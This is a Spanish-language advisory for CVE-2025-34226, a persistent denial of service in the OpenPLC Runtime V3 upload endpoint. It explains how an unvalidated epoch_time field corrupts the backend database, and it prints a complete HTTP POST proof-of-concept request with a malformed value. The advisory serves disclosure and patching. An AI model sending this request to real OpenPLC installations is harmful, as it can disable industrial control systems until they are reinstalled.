
El runtime de OpenPLC sufre una vulnerabilidad persistente de denegación de servicio (DoS) en el endpoint /upload-program-action.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2025-34226 |
| Afecta a | OpenPLC Runtime V3 |
| Corregido en | (commit) 095ee09623dd229b64ad3a1db38a901a3772f6fc |
| Gravedad | Alta |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (Alta) |
| CWE | CWE-664 Control inadecuado de un recurso a lo largo de su ciclo de vida, CWE-20 Validación de entrada incorrecta |
OpenPLC Runtime sufre una vulnerabilidad de denegación de servicio (DoS) persistente en el endpoint /upload-program-action.
Al modificar el parámetro epoch_time durante la carga de un programa, un usuario autenticado con bajos privilegios puede corromper la base de datos del backend.
Esta corrupción deshabilita inicialmente páginas críticas y, finalmente, impide que el runtime se inicie por completo, dejando la aplicación inutilizada hasta que se reinstale.
El endpoint /upload-program-action acepta un campo epoch_time que se escribe directamente en la base de datos sin validación.
Cuando este campo se establece con un valor manipulado o sin sentido (p. ej., 1758627838 o datos malformados), OpenPLC almacena un estado inconsistente.
Al recargar el runtime o reiniciar el sistema, la aplicación consulta la fila corrupta y se encuentra con un objeto NoneType → fallo fatal (TypeError: 'NoneType' object is not subscriptable).
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]
------BOUNDARY
Content-Disposition: form-data; name="prog_name"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain
PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"
"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--
/programsDescubierto por: Eyodav